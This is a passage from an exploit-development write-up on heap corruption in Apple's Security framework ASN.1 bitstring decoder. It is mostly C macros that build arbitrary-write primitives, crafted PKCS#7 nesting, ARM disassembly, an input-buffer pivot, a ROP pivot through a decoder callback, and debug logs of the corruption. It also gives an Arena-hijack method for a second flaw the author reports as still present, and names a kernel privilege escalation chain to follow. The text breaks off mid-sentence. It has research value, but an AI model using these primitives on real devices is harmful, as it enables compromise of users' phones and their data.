    *(uint64_t *)0x4343434343434340 = 0x4444444444444444;
```

Notice the subsequent writes, and their respective Arenas, start afresh. It means D must be always zero after the first one.

The reasoning is almost identical for 32bit, we just need to find D and K. D can be found experimentally:

```
    D = 0x7a1f18e8 - 0x7a1f1810 // actual values do not matter
```

And then K is found with the following formula:

```
    K = (64=offsetof(sec_asn1d_state, bit_string_unused_bits) +
         round8(K + 10) + 0=bit_string_unused_bits) / 8
```

Once we found D and K=11, we can write a similar Arena primitive:

```
    #define MAKE_ARENA32(filler, arena_used, lower_bound, upper_bound) \
    do { \
        CONS_BITSTRING(10 + 11); \
            REP_BITSTRING(0, 11, filler); \
            \
            START_BITSTRING(0, 4); \
            PUSH4((11 * 8 - 0 + 4) * 8 + (arena_used) + 2*4); \
        \
        START_BITSTRING(0, 8); \
            PUSH4(upper_bound); \
            PUSH4(lower_bound); \
    } while (0)

    #define WRITE32(clean, x) \
    do { \
        START_BITSTRING(0, 0); \
        if (clean) { \
            START_BITSTRING(7, 1); \
                PUSH1(x); \
            START_BITSTRING(0, 3); \
                PUSH3((x) >> 8); \
        } else { \
            START_BITSTRING(0, 4); \
                PUSH4(x); \
        } \
    } while (0)
```

allowing us to kickstart the write-anywhere:

```
    MAKE_ARENA32('a', 0x8e8 - 0x810, 0x41414140, 0x41414140 + 16);
```

What we got is an extremely reliable primitive which can write constant values at constant addresses. Let's see if we can put them to good use.

-- 3 - Exploit techniques

We need to target some application or daemon that listens and accepts ASN.1 encoded data. So far, we have experimented on bare bitstrings, but that is extremely unlikely any real world application would ask for. We need some standard containers, such as an X.509 certificate or a PKCS#7 structure, ready to be consumed. A certificate's signature is indeed a bitstring that we can manipulate, but that renders the certificate invalid. Our exploit would need to fully achieve its goal before the certificate is validated.

For now, let's suppose our victim is a daemon that consumes PKCS#7 and extracts the certificate for later validation. It accomplishes this with a call to `SecCMSCertificatesOnlyMessageCopyCertificates`. That function can be found inside the Security framework, and it uses `SecCmsMessageDecode` to parse the incoming PKCS#7, which in turn uses `SEC_ASN1DecoderUpdate`.

-- 3.0 - PKCS#7

PKCS#7 stands for Cryptographic Message Syntax (aka CMS). It is a standard for storing signed and/or encrypted data, described by RFC 3369[4].

Looking at Security-57337.20.44/OSX/libsecurity_smime/lib/cmsasn1.c, we see that we can find only one occurence of `kSecAsn1BitStringTemplate`. Recall the parser is driven by templates, so we know the ASN.1 parser will expect a bitstring wherever it hits that template. Tracing back, we get:

```
    SecCmsOriginatorPublicKeyTemplate
    SecCmsOriginatorIdentifierOrKeyTemplate
    SecCmsKeyAgreeRecipientInfoTemplate
    SecCmsRecipientInfoTemplate
    SecCmsEnvelopedDataTemplate
    NSS_PointerToCMSEnvelopedDataTemplate
    nss_cms_choose_content_template()
    nss_cms_chooser
    SecCmsMessageTemplate
    SecCmsDecoderCreate()
    SecCmsMessageDecode()
```

It looks like we need to craft an enveloped PKCS#7. However, our target expects a signed PKCS#7, which looks roughly like this:

```
    cons: SEQUENCE
    prim:  OBJECT            :pkcs7-signedData
    cons:  cont [ 0 ]
    cons:   SEQUENCE
    prim:    INTEGER           :01
    cons:    SET
    cons:    SEQUENCE
    prim:     OBJECT            :pkcs7-data
    cons:    cont [ 0 ]
    <certificate>
    cons:    SET
```

But wait. We can stash an enveloped PKCS#7 instead of raw pkcs7-data.

```
    cons: SEQUENCE
    prim:  OBJECT            :pkcs7-signedData
    cons:  cont [ 0 ]
    cons:   SEQUENCE
    prim:    INTEGER           :01
    cons:    SET
    cons:     SEQUENCE
    prim:      OBJECT            :sha1
    prim:      NULL
    cons:    SEQUENCE
    prim:     OBJECT            :pkcs7-envelopedData
    cons:     cont [ 0 ]
    prim:      OCTET STRING      [HEX DUMP]:<enveloped data>
    cons:    cont [ 0 ]
    <certificate>
    cons:    SET
```

The enveloped data must be a valid ASN.1 encoding, matching the templates we saw above. Roughly speaking, this is the equivalent of the following:

```
    $ echo "Hello world" > input.txt
    $ openssl ecparam -name secp521r1 -genkey -param_enc explicit -out private-key.pem
    $ openssl req -new -x509 -key private-key.pem -out server.pem -days 730
    $ openssl cms -encrypt -binary -aes256 -in input.txt -outform DER -out
    encrypted.der server.pem
    $ openssl cms -inform DER -in encrypted.der -cmsout -print
```

encrypted.der looks somewhat like this:

```
    cons: SEQUENCE
    prim:  INTEGER           :02
    cons:  SET
    cons:   cont [ 1 ]
    cons:    SEQUENCE
    prim:     INTEGER           :03
    cons:     cont [ 0 ]
    cons:      cont [ 2 ]
    cons:       SEQUENCE
    cons:        SEQUENCE
    prim:         OBJECT            :id-ecPublicKey
    prim:        BIT STRING
    <more stuff>
```

Great! There's our bitstring. We know the inner PKCS#7 will be handled by a recursive call to `SecCmsMessageDecode`, and the error code of that parser, if any, is totally discarded. This can be observed in `nss_cms_before_data` and `nss_cms_decoder_work_data` respectively. It seems pretty good from our perspective, because we do not need to worry whether the inner ASN.1 ends abruptly and, most importantly, the recursive call to `SecCmsMessageDecode` will create fresh Arenas. Remember our D constant when invoking the first MAKE_ARENA64? Yeah, it will be unchanged between runs. It seems we can have our cake and eat it. But not just yet... Let's recap what we have so far.

We build our bitstring inside an enveloped PKCS#7, which is contained in a signed PKCS#7 allowing us to write constant values at constant addresses.

All those constant values and addresses come from the input itself.

-- 3.1 - Building blocks

Our target daemon is running on an iPhone, listening to USB and is ready to consume the crafted PKCS#7. Back in 2016, USB restricted mode wasn't even a thing and a lot of daemons were running Before First Unlock.

The full exploit itself is beyond the scope of this article and is left as an exercise for the reader. The bug has been patched years ago, and it does not preserve any value whatsoever today, except illustrating my thought process at the time and introducing some creative ways of subverting the ASN.1 decoding machinery, as we shall see below.

The basic idea is to first leak out the shared cache slide, then build a relocated ROP strip offline, then send it back, and then finally pivot to it. A couple of guiding lines are laid below, and mock-ups are included in the attached source code:

step1 - the bruteforcer - preparatory step for guessing the scratch,
step2 - buffer switching - used for leaking out the shared cache slide,
step3 - the ROP pivot - the actual exploit payload.

We will now mostly concentrate on step2 and step3 because they contain some interesting tricks. One major shortcoming of our MAKE_ARENA/WRITE technique is that we can only write out constant values. To extract the shared cache we must be able to write out live pointers.

While being focused on our write-primitive we have overlooked one important aspect: the write itself is just a byproduct of what we have built so far. Before we had a write primitive, we had an allocation primitive: we could target a scratch area in memory and force allocation of state objects at known locations. A viable scratch address can be found empirically: it can be any writable area in our victim memory space that should stay relatively constant between runs. It depends on the targeted application/daemon, but in absence of a true infoleak, it's still easy to figure it out: vmmap is your best friend; also the bruteforcer may be used as a poor man's vmmap. Check out the heap, the shared cache data segment, the daemon itself, the stacks, or whatever else floats your boat.

Remember that state objects contain one pointer from the shared cache: the template itself. And while the parser is busy with our bitstring, we know the template is `kSecAsn1BitStringTemplate`, which is as good as any other pointer.

First, we cause a state object allocation at a known address. This is done by hijacking the Arena to some reasonably large unused scratch space (known a priori), right before a new state object is allocated:

```
        |<-------------------------- SCRATCH ------------------------->|
        |                                                              |
        |   |<------- State object -------->|                          |
        |   |                               |                          |
    ------------------------------------------------------------------------
        ... top theTemplate dest ...
    ------------------------------------------------------------------------
```

Afterwards, we punch some writes before and some writes after the pointer.

```
        |<-------------------------- SCRATCH ------------------------->|
        |                                                              |
        |   |<------- State object -------->|                          |
        |   |                               |                          |
    ------------------------------------------------------------------------
        ... top theTemplate dest ...
    ------------------------------------------------------------------------
            ^^^^           ^^^^^^^^
```

We are effectively building a bitstring around the template pointer using only constant writes to the scratch area. What should we write around the pointer? Exactly, MAKE_ARENA/WRITE contraptions.

```
        |<------------------------- SCRATCH -------------------------->|
        |                                                              |
        |   |<------- State object -------->|                          |
        |   |                               |                          |
    ------------------------------------------------------------------------
        ... xxxxtheTemplateyyyyy ...
    ------------------------------------------------------------------------
            ^ ^^
            | |+- WRITE64(theTemplate) contraption
            | +- MAKE_ARENA64 contraption
            |
            +- start of run-time built bitstring
```

This ephemeral bitstring does not even have to have a well-formed tail. Since we are inside an enveloped content, which is parsed by a recursive `SecCmsMessageDecode` call, the error code is ignored. If we could pivot the input buffer to this scratch area, it will pick up and write the template to whatever desired location. The exploit is writing itself at run-time, Inception-style.

But how do we pivot the input buffer? It does not seem to be part of the state object, and to make it worse, it is kept by `SEC_ASN1DecoderUpdate` in a CPU register. Even if it was kept on the stack, targeting `buf` means we have exactly one chance. We cannot use MAKE_ARENA/WRITE(clean=0, ...) in single-shot mode, because it exhibits +1 bleeding (there is a zeroing step which goes over the write size + 1) and will clobber the adjacent variable; and we cannot use MAKE_ARENA/WRITE(clean=1, ...) in multi-shot mode because we risk having it accessed before it is fully pivoted.

Looking at `sec_asn1d_record_any_header` and `sec_asn1d_add_to_subitems`, we notice the CPU register holding the input buffer is saved to the stack and is reloaded before return. However, inside `sec_asn1d_add_to_subitems` there is an assignment that looks interesting:

```
    thing = sec_asn1d_zalloc();
    ...
    thing->data = data;
    ...
    state->subitems_tail->next = thing;
```

The code flow disassembly is laid out below:

```
    _SEC_ASN1DecoderUpdate:
        ...
        MOV     X0, X21
        MOV     X1, X20 // buf
        MOV     X2, X22 // len
        BL      _sec_asn1d_parse_leaf
        ...
        BL      _sec_asn1d_record_any_header
        ...
        RET

    _sec_asn1d_record_any_header:
        ...
        B       _sec_asn1d_add_to_subitems

    _sec_asn1d_add_to_subitems:
        STP     X24, X23, [SP,#-0x10+var_30]!
        STP     X22, X21, [SP,#0x30+var_20]
        STP     X20, X19, [SP,#0x30+var_10] // save buf register (x20)
        STP     X29, X30, [SP,#0x30+var_s0]
        ...
        MOV     X19, X0 // state
        ...
        BL      _sec_asn1d_zalloc
        MOV     X20, X0 // controlled alloc -> thing
        ...
        LDR     X8, [X19,#0x78] // x8 = state->subitems_head
        CBZ     X8, ...
        LDR     X8, [X19,#0x80] // x8 = state->subitems_tail
        STR     X20, [X8,#0x10] // state->subitems_tail->next = thing
        STR     X20, [X19,#0x80] // state->subitems_tail = thing
        ...
        LDP     X29, X30, [SP,#0x30+var_s0]
        LDP     X20, X19, [SP,#0x30+var_10] // restore buf register (x20)
        LDP     X22, X21, [SP,#0x30+var_20]
        LDP     X24, X23, [SP+0x30+var_30],#0x40
        RET
```

We know `sec_asn1d_zalloc` can be made to return whatever address we want, because we can virtually create Arenas out of thin air. If we could point `&subitems_tail.next` towards the location of X20 on the stack, we can reload the register holding the input buffer to whatever `sec_asn1d_zalloc` returns. That is the address of the ephemeral bitstring we previously built inside the scratch area of the victim space. Remember, the scratch area can can be determined empirically and is presumed at a constant address between runs. Locating the exact stack address where X20 is held is just a matter of using vmmap and/or the bruteforcer step in creative ways. Hint: a daemon crashes and is reloaded. Go back in time and try to spot some things that remained constant.

The plan is as follows: after building the new bitstring, which is capable of writing live values, we create some more items. Recall we're slicing the scratch space hence the addresses of the ephemeral bitstring as well as the items and objects are considered known. We'll have a `SecAsn1Item` (serving as `dest`) and a subitem (serving as `subitems_head`). And then we force a hierarchy of three state objects: a grandfather object, a father object whose parent is the previous one and a child object which does the writing. The last object will smash its parent, filling in known values for: `dest`, `parent` (known value), `subitems_head`, `subitems_tail`. Taking the trip to `sec_asn1d_add_to_subitems` is just a matter of altering `state->place` to `duringBitString` and `state->underlying_kind` to `SEC_ASN1_ANY`.

```
        |<------------------------- SCRATCH ------------------------->|
        |                                                             |
        |                                 +- parent -+                |
        |                                 v          |                |
    ------------------------------------------------------------------------
        ... DYNSTRING SecAsn1Item subitem STATE ... STATE ... STATE ...
    ------------------------------------------------------------------------
                                                    ^^^^^     |
                                                      +-------+
                                                        smash
```

After smashing the secondary object, we end up with this:

```
        |<------------------------- SCRATCH ------------------------->|
        |                                                             |
        |                                 +- parent -+                |
        |                                 v          |                |
    ------------------------------------------------------------------------
        ... DYNSTRING SecAsn1Item subitem STATE ... STATE ... STATE ...
    ------------------------------------------------------------------------
            |         ^           ^                   |
            |         |           +-- subitems_head --+
            |         +-- dest -----------------------+
            |                     +-- subitems_tail --+
            |                     v
            +-------------------> stack location of saved input buf
```

This technique has a nasty side-effect: after coercing `sec_asn1d_zalloc` to return the desired address, `sec_asn1d_add_to_subitems` writes that same address to itself, which means the first bytes that'll get picked up from the newly pivoted `buf` will be the most significant bytes of the address. A workaround is to have said address be `0x...23nn`. The reasoning behind this is that 0x23 would be confused with a useless constructed bitstring allowing us to skip the MSB of the address and get out of the danger zone as quickly as possible. This should not be a major constraint, since the scratch area should be larger than 16kB anyway. Because of how things add up in the decoder, and working the arithmetic backwards, this imposes a constraint on our scratch buffer to be located at `0x...20nn`. step2 shows how this is accomplished (though you may need to fix STACK_RBP_RELATIVE to match your library/framework).

```
    sec_asn1d_parse_leaf: memcpy(0x10b5722e8 + 0 = 0x10b5722e8, "6666666666666666", 19)
    sec_asn1d_parse_leaf: pre-existing value = 0x0
    adjusting item->len (19) to 148, unused=0x4
    STATE transition ...
    sec_asn1d_parse_leaf: len=547, @479
    sec_asn1d_parse_leaf: memcpy(0x10b5722e8 + 148 = 0x10b57237c, "540", 4)
    sec_asn1d_parse_leaf: pre-existing value = 0x0
    adjusting item->len (152) to 18446744073709551488, unused=0x540
    STATE transition ...
    sec_asn1d_parse_leaf: len=540, @486
    sec_asn1d_parse_leaf: memcpy(0x10b5722e8 + 18446744073709551488 = 0x10b572268,
    "10b5720c0", 120)
    sec_asn1d_parse_leaf: pre-existing value = 0x7fab5e801868
    STATE transition ...
    sec_asn1d_add_to_subitems:1880: zalloc(24) -> 0x10b572398 in arena o_pool/0x0 (left
    -1)
    sec_asn1d_add_to_subitems:1890: alloc(1) -> 0x10b5723b0 in arena o_pool/0x0 (left
    18446744073709551615)
    adding to subitems_tail: 0x10b572258::0x7ffee4729138(0x7ffee4729148) <=
    0x10b572398         <-- [E]
    new ARENA -> o_pool/0x7fab5e805020 of size 2087
    sec_asn1d_add_to_subitems:1880: zalloc(24) -> 0x7fab5e805020 in arena
    o_pool/0x7fab5e805020 (left 2031)
    sec_asn1d_add_to_subitems:1890: alloc(1) -> 0x7fab5e805038 in arena
    o_pool/0x7fab5e805020 (left 2023)
    adding to subitems_tail: 0x10b572258::0x10b572398(0x10b5723a8) <= 0x7fab5e805020
    sec_asn1d_prepare_for_contents:1458: zalloc(35) -> 0x7fab5e805040 in arena
    o_pool/0x7fab5e805020 (left 1983)
    sec_asn1d_parse_leaf: len=418, @18446603704184794972
    sec_asn1d_parse_leaf: memcpy(0x7fab5e805040 + 0 = 0x7fab5e805040, "1000000010b57",
    35)
    sec_asn1d_parse_leaf: pre-existing value = 0x0
    STATE transition ...
    sec_asn1d_prepare_for_contents:1458: zalloc(29) -> 0x7fab5e805068 in arena
    o_pool/0x7fab5e805020 (left 1951)
    sec_asn1d_push_state:429: zalloc(144) -> 0x7fab5e805088 in arena
    o_pool/0x7fab5e805020 (left 1807)
    STATE transition ...
    sec_asn1d_parse_leaf: len=375, @18446603704184795015
    sec_asn1d_parse_leaf: memcpy(0x7fab5e805068 + 0 = 0x7fab5e805068,
    "7878787878787878", 19)
    sec_asn1d_parse_leaf: pre-existing value = 0x0
    adjusting item->len (19) to 148, unused=0x4
    STATE transition ...
    sec_asn1d_parse_leaf: len=353, @18446603704184795037
    sec_asn1d_parse_leaf: memcpy(0x7fab5e805068 + 148 = 0x7fab5e8050fc, "518", 4)
    sec_asn1d_parse_leaf: pre-existing value = 0x0
    adjusting item->len (152) to 18446744073709551528, unused=0x518
    STATE transition ...
    sec_asn1d_parse_leaf: len=346, @18446603704184795044
    sec_asn1d_parse_leaf: memcpy(0x7fab5e805068 + 18446744073709551528 =
    0x7fab5e805010, "10b572611", 16)
    sec_asn1d_parse_leaf: pre-existing value = 0x7fab5e805827
    adjusting item->len (18446744073709551544) to 18446744073709551040, unused=0x0
    STATE transition ...
    sec_asn1d_prepare_for_contents:1458: zalloc(9) -> 0x10b572601 in arena o_pool/0x0
    (left -1)
    sec_asn1d_parse_leaf: len=324, @18446603704184795066
    sec_asn1d_parse_leaf: memcpy(0x10b572601 + 0 = 0x10b572601, "10b503510", 8)
```

In case you missed it, the buffer was switched at [E] in the previous log. As convoluted as it is, this method allows us to pivot from a static buffer to a dynamically constructed one, capable of writing shared cache pointers to any location that would help us leak the shared cache slide outside and build the ROP strip as shown next, in step3.

We notice there is one particular callback that gets called during parsing: `state->top->filter_proc(state->top->filter_arg)`. It looks powerful enough to pivot to a ROP strip. Let's revise the `state->top` structure:

```
    typedef struct sec_DecoderContext_struct {
        PRArenaPool *our_pool;
        PRArenaPool *their_pool;
        void *their_mark;

        sec_asn1d_state *current;
        sec_asn1d_parse_status status;

        SEC_ASN1NotifyProc notify_proc;
        void *notify_arg;
        PRBool during_notify;

        SEC_ASN1WriteProc filter_proc;
        void *filter_arg;
        PRBool filter_only;
    } SEC_ASN1DecoderContext;
```

We plan on creating a fake `SEC_ASN1DecoderContext`, fill in `filter_proc` with a pivot gadget, then fill in `filter_arg` with the address of the ROP strip. We are only interested in `filter_proc` and `filter_arg`, everything else can be ignored because the ROP strip is not supposed to ever return. After that, we cause another state object allocation and point its `top` to our fake `SEC_ASN1DecoderContext`.

```
        |<------------------------- SCRATCH -------------------------->|
        |                                                              |
        |             +--------------------- top -+                    |
        |             v                           |                    |
    ------------------------------------------------------------------------
    ... ROP strip ... SEC_ASN1DecoderContext TEMP STATE TEMP STATE ...
    ------------------------------------------------------------------------
        ^                            | |          ^            |
        |      filter_proc (pivot) <-+ |          +------------+
        +----- filter_arg -------------+            change top
```

We can use our write primitive to lay down the ROP strip and an incomplete `SEC_ASN1DecoderContext` inside the scratch area. Then we trigger a couple of object allocations so that one object can smash its parent `top`. This is illustrated in step3.

Once we have the ROP running, we can use a kernel LPE. A good candidate is CVE-2016-4656[5] + CVE-2016-4655[6] pair, which can be triggered from ROP easily.

-- 4 - Fast forward

Five years later I decide to do this write-up, trying hard to remember some details of the ancient exploit; I begin tinkering with the mock-ups and the old library. I realise there were two bugs, not one, and I decide to check out the latest and greatest source tarball: Security-59754.80.3, as of this writing. Yep, still there.

Sadly, the fix for CVE-2016-1950 not only eliminated the bit/byte confusion but also introduced new safety checks so that `data->Length` could not wrap around. It meant we cannot reach the Arena structure by going backwards in memory.

I wept.

And then I got completely black out drunk, though for completely unrelated reasons. It was a fun night. But I digress...

-- 4.0 - Rolling the dice

Ignoring my terrible hangover, let's revisit the other bug, the logic flaw: when the parser encounters an empty bitstring, `sec_asn1d_parse_bit_string` takes a shortcut and then, later in `sec_asn1d_prepare_for_contents`, the item is re-allocated with the wrong size. Please revisit section 2.2 for a refresh.

Right, it allocates the buffer anew but this time in `our_pool`, sized for `state->contents_length` which -- in case of constructed bitstrings -- will be for the next component only. Anything that gets allocated after that point will be smashed by subsequent bitstrings. Armed with what we learned so far, a trigger is trivial. We smash a state object to cause an immediate crash:

```
CONS_BITSTRING(len);
    START_BITSTRING(0, 0);
    CONS_BITSTRING(3 + 5);
        REP_BITSTRING(0, 5, 'a');
    REP_BITSTRING(0, 8 + 144 - 5, 'b');
    CONS_BITSTRING(3 + 8);
        REP_BITSTRING(0, 8, 'c');

if (len) {
    START_BITSTRING(0, 0);
    START_BITSTRING(0, len - 1);
    while (len) {
        PUSH1('z');
    }
}
```

The 'a' part allocates 8 bytes, followed by a state object (144 bytes). The first memcpy covered 5 bytes, so the next memcpy needs to cover 8 + 144 - 5 bytes. The 'b' part leaves the dest pointer dangling over the upcoming next state object and then the 'c' part would smash the 'top' pointer resulting in a reliable crasher.

```
sec_asn1d_prepare_for_contents: zalloc(8) -> 0x7ff006008dd0 in arena
o_pool/0x7ff006008c20 (left 1615)
sec_asn1d_push_state: zalloc(144) -> 0x7ff006008dd8 in arena o_pool/0x7ff006008c20
(left 1471)
STATE transition 0x7ff006008d40 -> 0x7ff006008dd8
sec_asn1d_parse_leaf: memcpy(0x7ff006008dd0 + 0 = 0x7ff006008dd0, "61616161", 5)
sec_asn1d_parse_leaf: pre-existing value = 0x0
STATE transition 0x7ff006008dd8 -> 0x7ff006008d40
STATE transition 0x7ff006008d40 -> 0x7ff006008cb0
STATE transition 0x7ff006008cb0 -> 0x7ff006008d40
sec_asn1d_parse_leaf: memcpy(0x7ff006008dd0 + 5 = 0x7ff006008dd5,
"6262626262626262", 147)
sec_asn1d_parse_leaf: pre-existing value = 0xf006006a20000000
STATE transition 0x7ff006008d40 -> 0x7ff006008cb0
STATE transition 0x7ff006008cb0 -> 0x7ff006008d40
sec_asn1d_push_state: zalloc(144) -> 0x7ff006008e68 in arena o_pool/0x7ff006008c20
(left 1327)
STATE transition 0x7ff006008d40 -> 0x7ff006008e68
sec_asn1d_parse_leaf: memcpy(0x7ff006008dd0 + 152 = 0x7ff006008e68,
"6363636363636363", 8)
sec_asn1d_parse_leaf: pre-existing value = 0x7ff006006a20
<CRASH>
```

This doesn't seem very exploitable, especially since `dest` is allocated somewhere in `their_pool`, the state objects are allocated in `our_pool` and we cannot touch the Arenas anymore. Or can we?

After studying the allocation pattern, we notice something which manifests in a consistent manner after the 'b' segment:

```
    state = 0x7fe18b80d068 top = 0x7fe18b803420 dest = 0x7fe18b803e68
    state = 0x7fb3ad009268 top = 0x7fb3ad006e20 dest = 0x7fb3ad008a68
    state = 0x7f9798809268 top = 0x7f9798806e20 dest = 0x7f9798808a68
    state = 0x7fad49009268 top = 0x7fad49006e20 dest = 0x7fad49008a68
    state = 0x7fb12880fa68 top = 0x7fb12880dc20 dest = 0x7fb12880be68
    state = 0x7fe8a5809268 top = 0x7fe8a5806e20 dest = 0x7fe8a5808a68
    state = 0x7fe1d4009268 top = 0x7fe1d4006e20 dest = 0x7fe1d4008a68
    state = 0x7fb212809268 top = 0x7fb212806e20 dest = 0x7fb212808a68
    state = 0x7fe7ca804668 top = 0x7fe7ca802220 dest = 0x7fe7ca803e68
    state = 0x7fa123810068 top = 0x7fa12380dc20 dest = 0x7fa12380f868
    state = 0x7fa1cc809268 top = 0x7fa1cc806e20 dest = 0x7fa1cc808a68
    state = 0x7fc288009268 top = 0x7fc288006e20 dest = 0x7fc288008a68
    state = 0x7fd054809268 top = 0x7fd054806e20 dest = 0x7fd054808a68
    state = 0x7fa36a80f068 top = 0x7fa36a80cc20 dest = 0x7fa36a80e868
    state = 0x7fdd63009268 top = 0x7fdd63006e20 dest = 0x7fdd63008a68
    state = 0x7fd63b810068 top = 0x7fd63b80dc20 dest = 0x7fd63b80f868
    state = 0x7fee16809268 top = 0x7fee16806e20 dest = 0x7fee16808a68
    state = 0x7fd1a880da68 top = 0x7fd1a880bc20 dest = 0x7fd1a8803e68
    state = 0x7ff7cf809268 top = 0x7ff7cf806e20 dest = 0x7ff7cf808a68
    state = 0x7fdf82005068 top = 0x7fdf82002c20 dest = 0x7fdf82004868
    ...
```

With rather decent probability, we observe a repeating pattern of state/top pair: 9268/6e20. These addresses are for illustrative purposes, the real allocation pattern of the victim daemon we are attacking must be determined empirically, by whatever means. It's not the addresses themselves that are important, but rather the LSB of those addresses. Again, the state object is always at a constant distance from the start of the Arena and `dest` seems to be in 0xFFFF range. We could arrange the memory layout like this:

```
                                 |<----- state object ----->|
                                 |                          |
    -----------------------------------------------------------------------
        ... [&Arena.limit - top] top, template, dest, ...
    -----------------------------------------------------------------------
            |                       |
            |<---- SecAsn1Item ---->|
    ^                   |
    +-- to the Arena ---+
```

Since `state->dest` lies in close proximity of the state object, we can use a partial write to reroute it to &state - 8, and then smash the Arena:

```
    const unsigned FILLER_LEN = 8 + 144 - 5;
    const unsigned long long LAST_STATE =  0x7fca4b809268;
    const unsigned long long CURRENT_TOP = 0x7fca4b806e20;
    const unsigned long long ARENA_LIMIT = LAST_STATE - 0x258; // fixed

    START_BITSTRING(0, 0);
    CONS_BITSTRING(3 + 5);
        REP_BITSTRING(0, 5, 'a');
    // leave the pointer dangling over 'dest'
    START_BITSTRING(0, FILLER_LEN + 2 * 8);
        PUSHR(FILLER_LEN - 8, 'b');
        // place this right below 'top'
        PUSH8((ARENA_LIMIT - CURRENT_TOP) << 3);
        PUSHR(2 * 8, 'b'); // skip past 'top' and 'theTemplate'
    // reroute 'dest' to LAST_STATE - 8 and smash the Arena
    CONS_BITSTRING(3 + 2 + 3 + 16);
        // 'dest' -> { ARENA_LIMIT - CURRENT_TOP, CURRENT_TOP }
        START_BITSTRING(0, 2);
            PUSH2(LAST_STATE - 8); // partial write
        // rewrite the Arena
        START_BITSTRING(0, 16);
            PUSH8(0x4141414141414150); // limit
            PUSH8(0x4141414141414140); // avail

                                 |<----- state object ----->|
                                  |                          |
    ------------------------------------------------------------------------
        ... [&Arena.limit - top] top, template, dest ...
    ------------------------------------------------------------------------
            |                       |            |
            |<---- SecAsn1Item ---->|<-----------+
    ^                   |
    +-- to the Arena ---+

    ...
    sec_asn1d_parse_leaf: memcpy(0x7fe4190091d0 + 5 = 0x7fe4190091d5,
    "6262626262626262", 163)
    sec_asn1d_parse_leaf: pre-existing value = 0xe419006e20000000
    STATE transition 0x7fe419009140 -> 0x7fe4190090b0
    STATE transition 0x7fe4190090b0 -> 0x7fe419009140
    sec_asn1d_push_state:430: zalloc(144) -> 0x7fe419009268 in arena
    o_pool/0x7fe419009020 (left 1327)
    STATE transition 0x7fe419009140 -> 0x7fe419009268
    state = 0x7fe419009268
        top = 0x7fe419006e20
        theTemplate = 0x1001792e0
        dest = 0x7fe419008a68
        our_mark = 0x0
        parent = 0x7fe419009140
        contents_length = 3
        pending = 2
        consumed = 3
        depth = 9
        allocate = 0
        indefinite = 0
    sec_asn1d_parse_leaf: memcpy(0x7fe4190091d0 + 168 = 0x7fe419009278, "9260", 2)
    sec_asn1d_parse_leaf: pre-existing value = 0x7fe419008a68
    STATE transition 0x7fe419009268 -> 0x7fe419009140
    STATE transition 0x7fe419009140 -> 0x7fe419009268
    state = 0x7fe419009268
        top = 0x7fe419006e20
        theTemplate = 0x1001792e0
        dest = 0x7fe419009260
        our_mark = 0x0
        parent = 0x7fe419009140
        contents_length = 17
        pending = 16
        consumed = 3
        depth = 9
        allocate = 0
        indefinite = 0
    sec_asn1d_parse_leaf: memcpy(0x7fe419006e20 + 8688 = 0x7fe419009010,
    "4141414141414150", 16)
    sec_asn1d_parse_leaf: pre-existing value = 0x7fe419009827
    ...
```

In effect, this means we are replacing Arena `limit/avail` with whatever memory range we want, and then any further allocations will happen there. We can again resort to a scratch area which will become our allocation playground.

This approach of hijacking the Arena is probabilistic. Synthetic benchmarks showed pretty good success rate -- around 30-40% -- so it may be that in a real world scenario that would be somewhere up to 20%. Not exactly bad, but not very good either. Debugging will be a royal pain in the ass but that's not even terribly important; the success rate will be reduced even further by whatever assumptions we may have to make down the road.

The hangover was still raging the day after the next one. I'll never drink again! (that's probably a lie)

-- 4.1 - Dance, little bunny!

The less-than-stellar success rate is kinda bothersome, let's see if we can do better. We have two pools of Arenas: `their_pool` and `our_pool`. The former holds destination structures (aka `dest`) and the final values of the parsing process (the reassembled bitstring from its constituents). The latter holds intermediate values (eg: substrings) and state objects.

All Arenas have a default size of `SEC_ASN1_DEFAULT_ARENA_SIZE`=2048, with the exception of the first `their_pool` Arena, which is 1024. Our bitstring will ultimately exceed 2048, therefore we are guaranteed the arena code has already depleted whatever Arena was active when entering the bitstring. It means when the time comes to allocate a new `dest` it will happen inside a fresh `their_pool` Arena.

Let's try to forcibly deplete `our_pool` Arena, too. This process will not change the existing `dest`.

```
    CONS_BITSTRING(len);

        // len must be >= 2048, so that their_pool is already depleted.
        // Now consume our_pool. We want to switch to a fresh Arena right
        // after we generate a new 'dest'
        for (unsigned k = 0; k < 8; k++) {
            CONS_BITSTRING(3);
                START_BITSTRING(0, 0);
        }
```

This process of creating empty objects has the net effect of consuming `our_pool` without taking up too much space in the input. Side-note: the empty bitstrings above are harmless, because they are not followed by any other primitive substring component and therefore they will not trigger the bug. Yet. At this point we have the guarantee that both pools are depleted. Now we trigger the bug, overwriting the currently active state object:

```
        // (continued)
        START_BITSTRING(0, 0);
        CONS_BITSTRING(3 + 5);
            REP_BITSTRING(0, 5, 'a');
        // leave the pointer dangling over 'place'
        REP_BITSTRING(0, FILLER_LEN + 6 * 8, 'b');
        // Change 'place', 'pending' and a bunch of other fields
        CONS_BITSTRING(len); // extend this construct to the end
            START_BITSTRING(0, 92);
                PUSH4(5);          // place: afterLength
                PUSH4(0x20);       // found_tag_modifiers: SEC_ASN1_CONSTRUCTED
                PUSH8(0xdfULL);    // check_tag_mask
                PUSH8(3ULL);       // found_tag_number
                PUSH8(3ULL);       // expect_tag_number
                PUSH8(3ULL);       // underlying_kind
                PUSH8(0ULL);       // contents_length: 0
                PUSH8(1ULL + 92); // pending: +1
                PUSH8(3ULL);       // consumed
                PUSH4(9);          // depth
                PUSH4(0);          // bit_string_unused_bits
                PUSH8(0ULL);       // subitems_head
                PUSH8(0ULL);       // subitems_tail
                PUSH3(1);          // allocate: 1
                PUSH1(1);          // indefinite: 1
```

We make some select changes to the state object, while keeping unchanged the values we don't need. Let's highlight the changes made to the object:

```
    place = afterLength
```

because we want to go straight to `sec_asn1d_prepare_for_contents`. But we must dodge `sec_asn1d_parse_leaf` tail switching to `beforeEndOfContents`, and so we also need:

```
    pending = whatever it was before (92) + 1
```

Once we reach `sec_asn1d_prepare_for_contents`, we have:

```
    allocate = TRUE
```

and therefore a new `dest` will be allocated in `their_pool`. Since that pool is already empty, we guarantee that the new `SecAsn1Item` will be the first thing in a new `their_pool` Arena. We will hit an assert because we are not supposed to be here unless `dest` was already NULL. We could set it to NULL with our bug, however, that means we would need to obliterate the `parent`, which raises further issues. While this is probably fixable, we won't be concerning ourselves with it, because the assert does not exist in Release binaries.

Later on, `contents_length` comes into play, and it works best for us if:

```
    contents_length = 0
```

This allows us to clear the `pending` field and skip further allocations. Finally, having also set:

```
    indefinite = TRUE
```

we dodge again `afterEndOfContents`. The last piece clicks in place with:

```
